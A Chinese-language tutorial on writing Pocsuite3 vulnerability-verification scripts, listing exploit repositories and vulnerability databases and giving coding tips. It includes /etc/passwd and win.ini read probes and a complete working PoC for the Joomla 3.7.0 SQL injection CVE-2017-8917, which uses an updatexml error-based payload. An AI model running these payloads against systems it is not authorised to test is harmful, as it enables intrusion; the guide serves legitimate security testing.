0x01. 背景
在编写pocsuite时候，会查阅大量的文件，poc利用方式。
1. pocsuite是什么
Pocsuite 是由知道创宇404实验室打造的一款开源的远程漏洞测试框架。它是知道创宇安全研究团队发展的基石，是团队发展至今一直维护的一个项目，保障了我们的 Web 安全研究能力的领先。你可以直接使用 Pocsuite 进行漏洞的验证与利用；你也可以基于 Pocsuite 进行 PoC/Exp 的开发，因为它也是一个 PoC 开发框架；同时，你还可以在你的漏洞测试工具里直接集成 Pocsuite，它也提供标准的调用类。
感觉：有很多大公司，都是基于这个模板的壳来改的，这个算是安全圈内，漏洞扫描框架数一数二的存在。
0x02. pocsuite官方文档
官方地址：http://pocsuite.org/
项目地址：https://github.com/knownsec/pocsuite3/
编写手册：
0x03. 几个比较好的poc编写项目
1. exphub
https://github.com/zhzyker/exphub
Exphub[漏洞利用脚本库]
目前包括Webloigc、Struts2、Tomcat、Drupal的漏洞利用脚本，均为亲测可用的脚本文件，尽力补全所有脚本文件的使用说明文档，优先更新高危且易利用的漏洞利用脚本。
2. PeiQi-WIKI-POC
https://github.com/PeiQi0/PeiQi-WIKI-POC
PeiQI 师傅收集的poc，在安全圈内也很出名。
3. vulnerabilities
https://github.com/projectdiscovery/nuclei-templates/tree/master/vulnerabilities
博主编写了更为通用的yaml文件，将漏洞利用进行汇总。
4. 数字观星
https://poc.shuziguanxing.com/#/issueList
数字观星本来不公开poc，但是买poc，也列进来吧。
0x04.几个漏洞库
1. CNVD
https://www.cnvd.org.cn/flaw/list.htm?flag=true
2. 阿里云漏洞库
https://avd.aliyun.com/nonvd/list
3. 狼组知识库
https://wiki.wgpsec.org/knowledge/
虽然不是最新漏洞库更新集合，但也是一个很不错的知识库。
4. 奇安信NOX
https://nox.qianxin.com/vulnerability
也会更新漏洞，信息还算及时吧
5. paper
https://paper.seebug.org/
一个精华的网站，值得学习
0x04. poc编写注意事项
1.尽量使用官方库
from pocsuite3.api import requests
from pocsuite3.api import Output, POCBase,logger
from pocsuite3.api import register_poc
from pocsuite3.lib.utils import random_str
2.requests忽略https请求
verify=False
例如：
res = requests.get(vulurl, verify=False)
3.做异常抛出
try:
do something
except (KeyError,IndexError):
pass
except Exception as e:
# print(e)
logger.error(f"connect target '{self.url} failed!'")
4.响应不能太简单
不应单纯使用响应状态码作为判断条件，可添加页面关键字作为第二个判断条件
错误：if resp.status_code == 200:
正确：if resp.status_code == 200 and ‘xxxxxxxx’ in resp.text:
5.分辨Windows和linux
req = requests.get(url=vulurl,headers=headers, timeout=self.timeout, verify=False)
if r"root:x:0:0:root" in req.text and r"/root:/bin/bash" in req.text and r"/usr/sbin/nologin" in req.text:
if r"daemon:" in req.text and req.status_code == 200:
result['VerifyInfo'] = {}
result['VerifyInfo']['url'] = target
break
else:
payload = 'file:///C:windows/win.ini'
req = requests.get(url=vulurl, headers=headers, timeout=self.timeout, verify=False)
if r"app support" in req.text and r"[fonts]" in req.text and r"[mci extensions]" in req.text:
if r"files" in req.text and req.status_code == 200:
result['VerifyInfo'] = {}
result['VerifyInfo']['url'] = target
break
0x05. 示例poc
#!/usr/bin/env python3.8
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from urllib.parse import urlparse
from pocsuite3.lib.utils import random_str
import random
import hashlib
class DemoPOC(POCBase):
vulID = 'CVE-2017-8917'
version = 'Joomla 3.7.0'
author = ['姓名']
vulDate = '2017-5-17'#漏洞公布时间,可参考nvd漏洞发布时间
createDate = '2021-8-1'#poc创建时间
updateDate = '2021-8-1'#poc修改时间
references = ['https://nvd.nist.gov/vuln/detail/CVE-2017-8917']
name = 'Joomla! SQL注入漏洞'
appPowerLink = 'https://www.joomla.org/'
appName = 'Joomla'
appVersion = 'Joomla <3.7.1'
vulType = 'SQL注入漏洞'
desc = '''
Joomla! 3.7.1之前的3.7.x版本中存在SQL注入漏洞。远程攻击者可利用该漏洞执行任意SQL命令。
'''
def _verify(self):
# 验证代码
result = {}
token = random.randint(1,10000)
upr = urlparse(self.url)
if upr.port:
ports = [upr.port]
else:
ports = [80,443,8080]
for port in ports:
target = '{}://{}:{}'.format(upr.scheme, upr.hostname, port)
if target:
try:
self.timeout = 5
payload = "/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,md5({})),1)".format(token)
geturl = target + payload
res = requests.get(geturl, timeout=self.timeout, verify=False)
flag = hashlib.new('md5', bytes(str(token).encode('utf-8'))).hexdigest()
if res.status_code == 500 and flag in res.text :
result['VerifyInfo'] = {}
result['VerifyInfo']['url'] = target
break
except Exception as e:
print(e)
return self.parse_output(result)
def _attack(self):
return self._verify()
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
register_poc(DemoPOC)
参考
1.pocsuite
2.pocsuite编写手册
3.360漏洞云